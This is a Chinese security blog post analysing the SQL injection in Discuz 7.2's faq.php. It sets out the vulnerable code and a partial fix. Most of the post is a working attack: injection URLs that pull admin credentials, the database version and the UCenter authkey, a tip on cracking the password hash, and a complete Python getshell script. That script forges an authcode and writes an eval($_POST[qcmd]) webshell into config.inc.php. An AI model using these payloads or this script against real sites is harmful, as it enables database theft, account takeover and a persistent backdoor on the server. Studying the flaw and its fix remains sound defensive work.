时间:2021-07-01 10:21:17 帮助过:5人阅读
1. 漏洞描述
- <span style="color: #800080;">1</span><span style="color: #000000;">. 通过获取管理员密码
- </span><span style="color: #800080;">2</span>. 对管理员密码进行破解。通过在cmd5.com网站对管理密码进行查询,需要带salt,获取的salt要去掉最后一个数字<span style="color: #800000;">"</span><span style="color: #800000;">1</span><span style="color: #800000;">"</span><span style="color: #000000;">
- 例如下面获取: admin:c6c45f444cf6a41b309c9401ab9a55a7:066ff71
- 需要查询的是: c6c45f444cf6a41b309c9401ab9a55a7:066ff7
- </span><span style="color: #800080;">3</span><span style="color: #000000;">. 通过uc_key获取shell
- </span><span style="color: #800080;">4</span>. 进入后台,添加插件获取webshell
Relevant Link:
- http:<span style="color: #008000;">//</span><span style="color: #008000;">sebug.net/vuldb/ssvid-87115</span>
- http:<span style="color: #008000;">//</span><span style="color: #008000;">sebug.net/vuldb/ssvid-87114</span>
2. 漏洞触发条件
- <span style="color: #800080;">1</span><span style="color: #000000;">.获取数据库版本信息
- http:</span><span style="color: #008000;">//</span><span style="color: #008000;">localhost/discuz7.2/faq.php?action=grouppermission&gids[99]=‘&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23</span>
- <span style="color: #800080;">2</span><span style="color: #000000;">.获取管理员账户密码
- http:</span><span style="color: #008000;">//</span><span style="color: #008000;">localhost/discuz7.2/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23</span>
- <span style="color: #800080;">3</span><span style="color: #000000;">.获取key
- http:</span><span style="color: #008000;">//</span><span style="color: #008000;">localhost/discuz7.2/faq.php?action=grouppermission&gids[99]=‘&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
- </span><span style="color: #008000;">//</span><span style="color: #008000;">通过error based injection报错获得注入信息</span>
0x1: POC
- <span style="color: #000000;">import sys,urllib,time,math,base64,hashlib,urllib2
- #contant raw
- def fg(kaishi, jieshu, wenben):
- start </span>=<span style="color: #000000;"> wenben.find(kaishi);
- </span><span style="color: #0000ff;">if</span> start >= <span style="color: #800080;">0</span><span style="color: #000000;">:
- start </span>+=<span style="color: #000000;"> len(kaishi);
- jieshu </span>=<span style="color: #000000;"> wenben.find(jieshu, start);
- </span><span style="color: #0000ff;">if</span> jieshu >= <span style="color: #800080;">0</span><span style="color: #000000;">:
- </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> wenben[start:jieshu].strip();
- #microtime
- def microtime(get_as_float </span>=<span style="color: #000000;"> False) :
- </span><span style="color: #0000ff;">if</span><span style="color: #000000;"> get_as_float:
- </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> time.time();
- </span><span style="color: #0000ff;">else</span><span style="color: #000000;">:
- </span><span style="color: #0000ff;">return</span> <span style="color: #800000;">‘</span><span style="color: #800000;">%.8f %d</span><span style="color: #800000;">‘</span> %<span style="color: #000000;"> math.modf(time.time());
- #authget
- def get_authcode(</span><span style="color: #0000ff;">string</span>, key = <span style="color: #800000;">‘‘</span><span style="color: #000000;">):
- ckey_length </span>= <span style="color: #800080;">4</span><span style="color: #000000;">;
- key </span>=<span style="color: #000000;"> hashlib.md5(key).hexdigest();
- keya </span>= hashlib.md5(key[<span style="color: #800080;">0</span>:<span style="color: #800080;">16</span><span style="color: #000000;">]).hexdigest();
- keyb </span>= hashlib.md5(key[<span style="color: #800080;">16</span>:<span style="color: #800080;">32</span><span style="color: #000000;">]).hexdigest();
- keyc </span>= (hashlib.md5(microtime()).hexdigest())[-<span style="color: #000000;">ckey_length:];
- #keyc </span>= (hashlib.md5(<span style="color: #800000;">‘</span><span style="color: #800000;">0.736000 1389448306</span><span style="color: #800000;">‘</span>).hexdigest())[-<span style="color: #000000;">ckey_length:]
- cryptkey </span>= keya + hashlib.md5(keya+<span style="color: #000000;">keyc).hexdigest();
- key_length </span>=<span style="color: #000000;"> len(cryptkey);
- </span><span style="color: #0000ff;">string</span> = <span style="color: #800000;">‘</span><span style="color: #800000;">0000000000</span><span style="color: #800000;">‘</span> + (hashlib.md5(<span style="color: #0000ff;">string</span>+keyb)).hexdigest()[<span style="color: #800080;">0</span>:<span style="color: #800080;">16</span>]+<span style="color: #0000ff;">string</span><span style="color: #000000;">;
- string_length </span>= len(<span style="color: #0000ff;">string</span><span style="color: #000000;">);
- result </span>= <span style="color: #800000;">‘‘</span><span style="color: #000000;">;
- box </span>= range(<span style="color: #800080;">0</span>, <span style="color: #800080;">256</span><span style="color: #000000;">);
- rndkey </span>=<span style="color: #000000;"> dict();
- </span><span style="color: #0000ff;">for</span> i <span style="color: #0000ff;">in</span> range(<span style="color: #800080;">0</span>,<span style="color: #800080;">256</span><span style="color: #000000;">):
- rndkey[i] </span>= ord(cryptkey[i %<span style="color: #000000;"> key_length]);
- j</span>=<span style="color: #800080;">0</span><span style="color: #000000;">;
- </span><span style="color: #0000ff;">for</span> i <span style="color: #0000ff;">in</span> range(<span style="color: #800080;">0</span>,<span style="color: #800080;">256</span><span style="color: #000000;">):
- j </span>= (j + box[i] + rndkey[i]) % <span style="color: #800080;">256</span><span style="color: #000000;">;
- tmp </span>=<span style="color: #000000;"> box[i];
- box[i] </span>=<span style="color: #000000;"> box[j];
- box[j] </span>=<span style="color: #000000;"> tmp;
- a</span>=<span style="color: #800080;">0</span><span style="color: #000000;">;
- j</span>=<span style="color: #800080;">0</span><span style="color: #000000;">;
- </span><span style="color: #0000ff;">for</span> i <span style="color: #0000ff;">in</span> range(<span style="color: #800080;">0</span><span style="color: #000000;">,string_length):
- a </span>= (a + <span style="color: #800080;">1</span>) % <span style="color: #800080;">256</span><span style="color: #000000;">;
- j </span>= (j + box[a]) % <span style="color: #800080;">256</span><span style="color: #000000;">;
- tmp </span>=<span style="color: #000000;"> box[a];
- box[a] </span>=<span style="color: #000000;"> box[j];
- box[j] </span>=<span style="color: #000000;"> tmp;
- result </span>+= chr(ord(<span style="color: #0000ff;">string</span>[i]) ^ (box[(box[a] + box[j]) % <span style="color: #800080;">256</span><span style="color: #000000;">]));
- </span><span style="color: #0000ff;">return</span> keyc + base64.b64encode(result).replace(<span style="color: #800000;">‘</span><span style="color: #800000;">=</span><span style="color: #800000;">‘</span>, <span style="color: #800000;">‘‘</span><span style="color: #000000;">);
- #getshell
- def get_shell(url0,key,host):
- headers</span>={<span style="color: #800000;">‘</span><span style="color: #800000;">Accept-Language</span><span style="color: #800000;">‘</span>:<span style="color: #800000;">‘</span><span style="color: #800000;">zh-cn</span><span style="color: #800000;">‘</span><span style="color: #000000;">,
- </span><span style="color: #800000;">‘</span><span style="color: #800000;">Content-Type</span><span style="color: #800000;">‘</span>:<span style="color: #800000;">‘</span><span style="color: #800000;">application/x-www-form-urlencoded</span><span style="color: #800000;">‘</span><span style="color: #000000;">,
- </span><span style="color: #800000;">‘</span><span style="color: #800000;">User-Agent</span><span style="color: #800000;">‘</span>:<span style="color: #800000;">‘</span><span style="color: #800000;">Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)</span><span style="color: #800000;">‘</span><span style="color: #000000;">,
- </span><span style="color: #800000;">‘</span><span style="color: #800000;">Referer</span><span style="color: #800000;">‘</span><span style="color: #000000;">:url0
- };
- tm </span>= time.time()+<span style="color: #800080;">10</span>*<span style="color: #800080;">3600</span><span style="color: #000000;">;
- tm</span>=<span style="color: #800000;">"</span><span style="color: #800000;">time=%d&action=updateapps</span><span style="color: #800000;">"</span> %<span style="color: #000000;">tm;
- code </span>=<span style="color: #000000;"> urllib.quote(get_authcode(tm,key));
- url0</span>=url0+<span style="color: #800000;">"</span><span style="color: #800000;">?code=</span><span style="color: #800000;">"</span>+<span style="color: #000000;">code;
- data1</span>=<span style="color: #800000;">‘‘‘</span><span style="color: #800000;"><?xml version="1.0" encoding="ISO-8859-1"?></span>
- <root>
- <item id=<span style="color: #800000;">"</span><span style="color: #800000;">UC_API</span><span style="color: #800000;">"</span>>http:<span style="color: #008000;">//</span><span style="color: #008000;">xxx\‘);eval($_POST[qcmd]);</span><span style="color: #008000;">//</span><span style="color: #008000;"></item></span>
- </root><span style="color: #800000;">‘‘‘</span><span style="color: #800000;">;</span>
- <span style="color: #0000ff;">try</span><span style="color: #000000;">:
- req</span>=urllib2.Request(url0,data=data1,headers=<span style="color: #000000;">headers);
- ret</span>=<span style="color: #000000;">urllib2.urlopen(req);
- except:
- </span><span style="color: #0000ff;">return</span> <span style="color: #800000;">"</span><span style="color: #800000;">error to read</span><span style="color: #800000;">"</span><span style="color: #000000;">;
- data2</span>=<span style="color: #800000;">‘‘‘</span><span style="color: #800000;"><?xml version="1.0" encoding="ISO-8859-1"?></span>
- <root>
- <item id=<span style="color: #800000;">"</span><span style="color: #800000;">UC_API</span><span style="color: #800000;">"</span>>http:<span style="color: #008000;">//</span><span style="color: #008000;">aaa</item></span>
- </root><span style="color: #800000;">‘‘‘</span><span style="color: #800000;">;</span>
- <span style="color: #0000ff;">try</span><span style="color: #000000;">:
- req</span>=urllib2.Request(url0,data=data2,headers=<span style="color: #000000;">headers);
- ret</span>=<span style="color: #000000;">urllib2.urlopen(req);
- except:
- </span><span style="color: #0000ff;">return</span> <span style="color: #800000;">"</span><span style="color: #800000;">error</span><span style="color: #800000;">"</span><span style="color: #000000;">;
- </span><span style="color: #0000ff;">return</span> <span style="color: #800000;">"</span><span style="color: #800000;">OK: </span><span style="color: #800000;">"</span>+host+<span style="color: #800000;">"</span><span style="color: #800000;">/config.inc.php | Password = qcmd</span><span style="color: #800000;">"</span>; #去掉/config/<span style="color: #000000;">uc_config.php 为config.inc.php by niubl
- </span><span style="color: #0000ff;">#define</span> over<span style="color: #000000;">
- #url </span><span style="color: #0000ff;">from</span><span style="color: #000000;"> users
- right </span>=<span style="color: #000000;"> len(sys.argv);
- </span><span style="color: #0000ff;">if</span> right < <span style="color: #800080;">2</span><span style="color: #000000;">:
- #note
- print (</span><span style="color: #800000;">"</span><span style="color: #800000;">============================================================</span><span style="color: #800000;">"</span><span style="color: #000000;">);
- print (</span><span style="color: #800000;">"</span><span style="color: #800000;">Discuz <= 7.2 Getshell</span><span style="color: #800000;">"</span><span style="color: #000000;">);
- print (</span><span style="color: #800000;">"</span><span style="color: #800000;">Wrote by Airbasic</span><span style="color: #800000;">"</span><span style="color: #000000;">);
- print (</span><span style="color: #800000;">"</span><span style="color: #800000;">Usage: py.exe </span><span style="color: #800000;">"</span> + sys.argv[<span style="color: #800080;">0</span>] + <span style="color: #800000;">"</span><span style="color: #800000;"> http://localhost/dz</span><span style="color: #800000;">"</span><span style="color: #000000;">);
- print (</span><span style="color: #800000;">"</span><span style="color: #800000;">============================================================</span><span style="color: #800000;">"</span><span style="color: #000000;">);
- raw_input(</span><span style="color: #800000;">""</span><span style="color: #000000;">);
- sys.exit()
- url </span>= sys.argv[<span style="color: #800080;">1</span><span style="color: #000000;">];
- #go
- url1 </span>= url + <span style="color: #800000;">"</span><span style="color: #800000;">/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,31) from cdb_uc_applications where appid =1))x from information_schema .tables group by x)a)%23</span><span style="color: #800000;">"</span><span style="color: #000000;">;
- url2 </span>= url + <span style="color: #800000;">"</span><span style="color: #800000;">/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,32,64) from cdb_uc_applications where appid =1))x from information_schema .tables group by x)a)%23</span><span style="color: #800000;">"</span><span style="color: #000000;">;
- #authkey1</span>~<span style="color: #800080;">31</span><span style="color: #000000;">
- wy1 </span>=<span style="color: #000000;"> urllib.urlopen(url1);
- nr1 </span>=<span style="color: #000000;"> wy1.read();
- authkey1 </span>= fg(<span style="color: #800000;">"</span><span style="color: #800000;">‘1:</span><span style="color: #800000;">"</span>,<span style="color: #800000;">"</span><span style="color: #800000;">‘ for</span><span style="color: #800000;">"</span><span style="color: #000000;">,nr1);
- #authkey32</span>~<span style="color: #800080;">64</span><span style="color: #000000;">
- wy2 </span>=<span style="color: #000000;"> urllib.urlopen(url2);
- nr2 </span>=<span style="color: #000000;"> wy2.read();
- authkey2 </span>= fg(<span style="color: #800000;">"</span><span style="color: #800000;">‘1:</span><span style="color: #800000;">"</span>,<span style="color: #800000;">"</span><span style="color: #800000;">‘ for</span><span style="color: #800000;">"</span><span style="color: #000000;">,nr2);
- #authkey
- authkey </span>= authkey1+<span style="color: #000000;">authkey2;
- #</span><span style="color: #0000ff;">get</span><span style="color: #000000;"> username and password
- #none
- #over
- #</span><span style="color: #0000ff;">get</span><span style="color: #000000;"> webshell
- url0 </span>= url + <span style="color: #800000;">"</span><span style="color: #800000;">/api/uc.php</span><span style="color: #800000;">"</span><span style="color: #000000;">;
- host </span>=<span style="color: #000000;"> url;
- print (</span><span style="color: #800000;">"</span><span style="color: #800000;">Wrote by Airbasic , GetShell Ok !</span><span style="color: #800000;">"</span><span style="color: #000000;">);
- print get_shell(url0,authkey,host);
- raw_input(</span><span style="color: #800000;">""</span>);
Relevant Link:
- http:<span style="color: #008000;">//</span><span style="color: #008000;">blog.csdn.net/yiyefangzhou24/article/details/36913287</span>
- http:<span style="color: #008000;">//</span><span style="color: #008000;">qqhack8.blog.163.com/blog/static/11414798520146711246279/</span>
3. 漏洞影响范围
4. 漏洞代码分析
/faq.php
- <span style="color: #000000;">..
- elseif($action </span>== <span style="color: #800000;">‘</span><span style="color: #800000;">grouppermission</span><span style="color: #800000;">‘</span><span style="color: #000000;">)
- {
- ..
- </span><span style="color: #008000;">//</span><span style="color: #008000;">首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids])</span>
- $groupids =<span style="color: #000000;"> array();
- </span><span style="color: #0000ff;">foreach</span>($gids <span style="color: #0000ff;">as</span><span style="color: #000000;"> $row)
- {
- </span><span style="color: #008000;">//</span><span style="color: #008000;">将数组中的所有值的第一位取出来放在groupids中</span>
- $groupids[] = $row[<span style="color: #800080;">0</span><span style="color: #000000;">];
- </span><span style="color: #008000;">/*</span><span style="color: #008000;">
- 这里的安全漏洞在于
- discuz在全局会对GET数组进行addslashes转义,也就是说会将单引号"‘"转义成"\‘"
- 所以,如果我们的传入的参数是: gids[1]=‘的话,会被转义成$gids[1]=\‘,而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是"\",把转义符号取出来了
- </span><span style="color: #008000;">*/</span><span style="color: #000000;">
- }
- </span><span style="color: #008000;">/*</span><span style="color: #008000;">
- 在将数据放入sql语句前,通过implodeids函数对$groupids进行处理了一遍
- 就是将刚才的$groupids数组用‘,‘分割开,组成一个类似于‘1‘,‘2‘,‘3‘,‘4‘的字符串返回。但是我们的数组刚取出来一个转义符,它会将这里一个正常的‘转义掉,比如这样:‘1‘,‘\‘,‘3‘,‘4‘
- 这样就把原本的用于闭合的单引号给转义了,使得黑客的注入数据得以"逃逸",也就是产生的注入,我们把报错语句放在3这个位置,就能报错
- </span><span style="color: #008000;">*/</span><span style="color: #000000;">
- $query </span>= $db->query(<span style="color: #800000;">"</span><span style="color: #800000;">SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (</span><span style="color: #800000;">"</span>.implodeids($groupids).<span style="color: #800000;">"</span><span style="color: #800000;">)</span><span style="color: #800000;">"</span><span style="color: #000000;">);
- $groups </span>=<span style="color: #000000;"> array();
- ..</span>
Relevant Link:
- http:<span style="color: #008000;">//</span><span style="color: #008000;">simeon.blog.51cto.com/18680/1440000</span>
5. 防御方法
/faq.php
- elseif($action == <span style="color: #800000;">‘</span><span style="color: #800000;">grouppermission</span><span style="color: #800000;">‘</span><span style="color: #000000;">)
- {
- </span><span style="color: #008000;">/*</span><span style="color: #008000;"> 对$gids进行初始化 </span><span style="color: #008000;">*/</span><span style="color: #000000;">
- $gids </span>=<span style="color: #000000;"> array();
- </span><span style="color: #008000;">/*</span> <span style="color: #008000;">*/</span>
Relevant Link:
- http:<span style="color: #008000;">//</span><span style="color: #008000;">www.crazydb.com/archive/Discuz7.xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8EEXP</span>
- http:<span style="color: #008000;">//</span><span style="color: #008000;">simeon.blog.51cto.com/18680/1440000</span>
6. 攻防思考
Copyright (c) 2015 LittleHann All rights reserved
discuz /faq.php SQL Injection Vul
标签: